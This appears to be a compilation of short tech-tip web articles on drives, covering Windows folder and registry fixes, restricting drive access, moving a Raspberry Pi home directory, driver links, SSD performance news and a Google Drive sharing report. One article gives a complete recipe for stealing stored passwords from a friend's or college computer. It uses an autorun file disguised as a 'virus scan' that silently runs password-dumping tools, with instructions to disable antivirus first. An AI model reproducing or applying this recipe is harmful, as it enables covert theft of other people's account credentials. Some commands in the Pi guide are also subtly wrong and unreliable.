Double click on a drive opens in new window

Problem:
When i double-click on a drive, it opens in new window. What is the problem, Is it because of a virus. Please help me.

Solution:

• Open any explorer window, Click on Tools >> Folder options >> View.
• Click on restore defaults.

If this does not solve your problem the it may be because of a virus attack.
You can perform the following steps to get rid of this.

Solution 1

1. Open start menu and click Run.
2. Type regsvr32 /i shell32.dll
3. Click Ok and if this message shows “DllRegisterServer and DllInstall in shell32.dll succeeded” that means the problem is solved.

Solution 2

1. In Run type regedit.exe to open the registry editor.
2. Traverse to HKEY_CLASSES_ROOT/Directory/Shell
3. Double click on the default value on right and set it as “none”.
4. Repeat the procedure for the key HKEY_CLASSES_ROOT/Drive/Shell.

Solution 3
Alternatively, you can download a registry file and merge it with your registry by double clocking it. Reboot your system after merging the file.
One of the methods listed above will definitely solve your problem.

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How to Hack Passwords Using USB Drive

I will show you how to hack Passwords using an USB Pen Drive. As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to hack passwords from your friend’s/college Computer. We need the following tools to create our rootkit.

• MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

• Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free. Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

• IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 - v6.0

• Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…

• PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.

Here is a step by step procedre to create the password hacking toolkit.
NOTE: You must temporarily disable your antivirus before following these steps.

• Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive. ie: Copy the files - mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
• a new Notepad and write the following text into it

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

• save the Notepad autorun.inf
• Now copy the autorun.inf file onto your USB pendrive.

• Create another Notepad and write the following text onto it.

start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt

• save the Notepad as launch.bat
• Copy the launch.bat file also to your USB drive.

Now your rootkit is ready and you are all set to hack the passwords. You can use this pendrive on your friend’s PC or on your college computer. Just follow these steps

1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password hacking tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.

This hack works on Windows 2000, XP and Vista
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

NB: Read Disclaimer before use.

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Prevent access to specific partition or drive

Sometimes we would like to prevent users from accessing tons of data. we can do this by hiding the drive but it does not prevent the access completely. This trick will not hide the drive but users cannot access it. After preventing access, you can hide the drive to ensure full protection. To do this, perform the following steps:-

• Log into the account where you want the users not to access the drive.
• Open registry editor.
• Go to HKEY_CURRENT_USER >> Software >> Microsoft >> Windows >> CurrentVersion >> Policies >> Explorer.
• Right-click to create a new DWORD value with the name NoViewOnDrive.
• Double-Click on this entry, Select the radio button named Decimal.
• In the value data field put the value of the drive you want to prevent access.
• The value is calculated using the formula 2^n-1, where n is the number of the drive which you want to prevent access-1 for A, 2 for B, 3 for C and so on...
• If you need to hide more than one drive, add the respective drive numbers and enter it into the value data field. For example, to hide drive C you need to enter 4 (2 ^3-1); to hide drives D and E you need to enter 24 (2 ^4-1 +2 ^5-1).
• To apply the change to all users in the system, follow the same method, but use the key HKEY_LOCAL_MACHINE >> Software >> Microsoft >> Windows >> CurrentVersion >> Policies >> Explorer instead.
• To remove all restrictions, just delete the entry.
• To hide the drive click here.

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Mounting the home directory on a different drive on the Raspberry Pi

I found myself struggling with SD card corruption this week.
I think it was due to a combination of overclocking and an old SD card. Although I use svn or git with most of my code, occasionally I do a lot of work in a day and forget to add a file. After this last time, I decided to move my home directory to a partition on an external HDD just in case.

I will be posting some file recovery methods later in case you have also lost data.

Start by making sure your external drive is connected and open a terminal.

First of all you need to have root privileges to do all this (or use sudo privileges)

Make sure your drive is not mounted. To unmount it:

umount /mntpoint
If you already have your external drive partitioned, skip to Step 4.

Step 1: Partition External Drive

The fdisk command with the -l flag can list all of your drives and partitions. So start by running that:

fdisk -l

Pick the HDD you want to use (mine was /dev/sdb but Ill put sdx and you can fill in appropriately) and run fdisk again to see partition information

fdisk /dev/sdx

You should be in an interactive prompt. Type p to see the partitions. There should be none. If there arent any, skip to Step 3.

Step 2: Deleting or resizing

If you need the old partitions and want to shrink them, type q to exit the fdisk prompt, otherwise skip to Step  3.

If you are using the partitions and just want to resize them, then there are various commands to do that (also its a good idea to have a back up).

For ext3/ext4, just use: resize2fs /dev/sdx #size

Or use parted

parted /dev/sdx (opens interactive prompt)

resize #size

For ntfs: 

ntfsresize --size #sizeM /dev/sdx

Then open back up the fdisk prompt, you need to make new partitions that match.

Step 3: Writing partition changes

(Open fdisk back open if you closed it)

Now just use d #partition to delete any old partitions.

Then type n to make a new partition followed by p to make it a primary partition. If this is the only partition you need, you can make it the whole disk size. If you shrank a partition, you need to make two new partitions, with the first one having a size that matches your resize options.

Now type w to write changes to disk then q to quit. It will probably give you some warnings, it almost always does. Pay attention to them but dont freak out.

Now format the new partition (If you only made one partition #=1):

mkfs.ext4 /dev/sdx#

Step 4: Copying over your home directory files

Mount your new partition:

sudo mkdir /media/tmp

sudo mount -t ext4 /media/tmp

Navigate to your root folder

cd /home

Copy all your data recursively (this option seems to have worked the best for me to get all of the files including .bashrc and .vimrc files)

sudo cp -rp ./ /media/tmp

Step 5: Mounting your new home directory

Once that is finished, you can move the home directory and mount the new one (make sure no program is currently using the home directory or you will get errors).

sudo umount /media/tmp

sudo rm -rf /media/tmp (get rid of the tmp folder)

sudo mv /home /old_home

sudo mkdir /home

sudo echo "/dev/sdx# /home ext4 defaults,noatime,nodiratime 0 0" >> /etc/fstab

Again replacing x# with your drive number (mine was b2).

Now we can test it by mounting home. If this doesnt work, somewhere you messed up

sudo mount /home

After you have confirmed everything is working and copied over and you dont need your old home directory, you can delete it.

sudo rm -fr /old_home

Now you dont need to worry about SD Corruption.

References for help:

http://joshua14.homelinux.org/blog/?p=660

http://linuxtechres.blogspot.com/2007/08/how-to-use-ntfsresize-from-command-line.html

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Computer hard drive drivers Download

Company	Drivers page
APS Tech	APS Tech hard drive drivers
Conner	Conner hard drive drivers
Fujitsu	Fujitsu hard drive drivers
Hitachi	Hitachi hard drive drivers
IBM	IBM hard drive drivers
Maxtor	Maxtor hard drive drivers
Quantum	Quantum hard drive drivers
Seagate	Seagate hard drive drivers
Western Digital	Western Digital hard drive drivers

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How to Read Formats From a Flash Drive

File formats are the three character extensions that are earmarked at the conclusion of the traditional file name. Knowing the types of file formats that are stored on a flash drive can give you a better inkling of the programs that were used to create the files, allowing you to make sense of the contents of a seemingly inscrutable USB drive. This can be done by tweaking your Windows settings.

Instructions

1. Step 1

   Insert the drive into the computer.

2. Step 2

   Right click "Start" and select "Explore."

3. Step 3

   Click on the drive letter of the USB drive.

4. Step 4

   Select "Tools," click "Folder Options," select "View" and uncheck "Hide Extensions for Knows File Types."

5. Step 5

   Press "OK" to view the formats for the files on your flash drive.

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IDC Solid state drive hard disk speed gap small

Dell will sell you a 128GB solid state drive for an unprecedented $649. But wait. An IDC report claims the performance gap between solid state drives and lower-cost high-performance hard disk drives is not that significant at the system level.

Solid state drive offered by Dell

Solid state drives are attracting more scrutiny as they increase in capacity and decrease in price. (Dells $649 drive is a radical price drop since many drives with half the capacity still sell for more than $700.)

Solid state drives (SSDs) are considered to be generally more power efficient, faster, and in some respects more reliable than hard disk drives.

IDC tested 2.5-inch 7200 rpm desktop drives against SSDs and found that previous tests comparing SSDs and hard disk drives may be misleading, according to SearchStorage.com, which cited the IDC report.

"Many tests have been done comparing 4200 rpm hard drives to SSDs," said IDC analyst David Reinsel. "But 5400 rpm is now mainstream and even 7200 rpm disks are available." The IDC report says the performance gap between computers with 7200 rpm 2.5-inch drives and those with SSDs was smaller than expected because the performance of the entire system must be taken into account.

(It should be noted that 4200 rpm hard disk drives are sometimes used in comparative testing because 4200 rpm drives are offered along with SSDs in laptops such as the MacBook Air and Hewlett-Packard 2510p.)

IDCs Reinsel also said that system redesigns will be necessary in both PCs and enterprise storage systems to reap the full benefits of SSDs. One of the challenges is that SSDs generally write data more slowly than they read data.

In related news, The Tech Report also did benchmarking of SSDs and 2.5-inch hard disk drives rated at 5400 and 7200 rpm. Generally, the SSDs were faster (in some cases much faster) but not in every benchmark and not by that much in some benchmarks.

SSDs have received a lot more attention since companies like Apple, Hewlett-Packard, and Toshiba have adopted them as alternatives to hard disk drives in laptops. Lesser known is that SSDs are also being deployed by large corporations in server-related applications. Companies like Citibank and American Express peg server performance on IOPS or input/output operations per second where SSDs beat hard disk drives handily.

The IDC report follows other reviews that claim solid state drives (SSDs) are not as power efficient as manufacturers claim--though the power-efficiency testing methodology used by some review sites .

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Find Who has Access to your Files in Google Drive

Wondering who has access to userr Google files and folders. This simple Google Script will show a list of all files that user may have ever shared with public or specific contacts.
 
Google Drive lets user share files with specific contacts or user can make them public and anyone can then view userr files. Sharing also prevents user from clogging someone else’s mailbox. For instance, if user are sending a large file as an email attachment, a better option would be that user upload the file to Google Drive and share the link instead.

Who Can View or Edit userr Shared Files?

If user have been using the sharing feature of Google Docs (now Google Drive) for some time, user may have quite a few files in the Drive that are accessible to other users. Would user like to review this list?
Here’s a simple Google script that will scan userr Google Drive and prepare a list all files that have been shared from userr Google Drive.
To get started, click here to copy the Google Script in userr own Google Drive. Then choose Run->Start to execute the Google Script. The script will ask for authorization since it needs to check the sharing permissions of the file in userr Google Drive. Say “authorize” and user’ll soon get an email with a list of all the shared files that were found in userr Google Drive.
The report, see the above screenshot, will have links to the shared files and also a list of users who can view or edit that particular file. If a file can be viewed by anyone, the user will be mentioned as Public.
The Google Script checks the sharing permissions of every single file in userr Google Drive and thus it may take a minute or two to finish if user have too many files in the Drive.

Bonus tip: Did user know that user can set an auto-expiry date for userr shared links in Google Drive. The shared link will automatically stop working after a certain date or time set by user.

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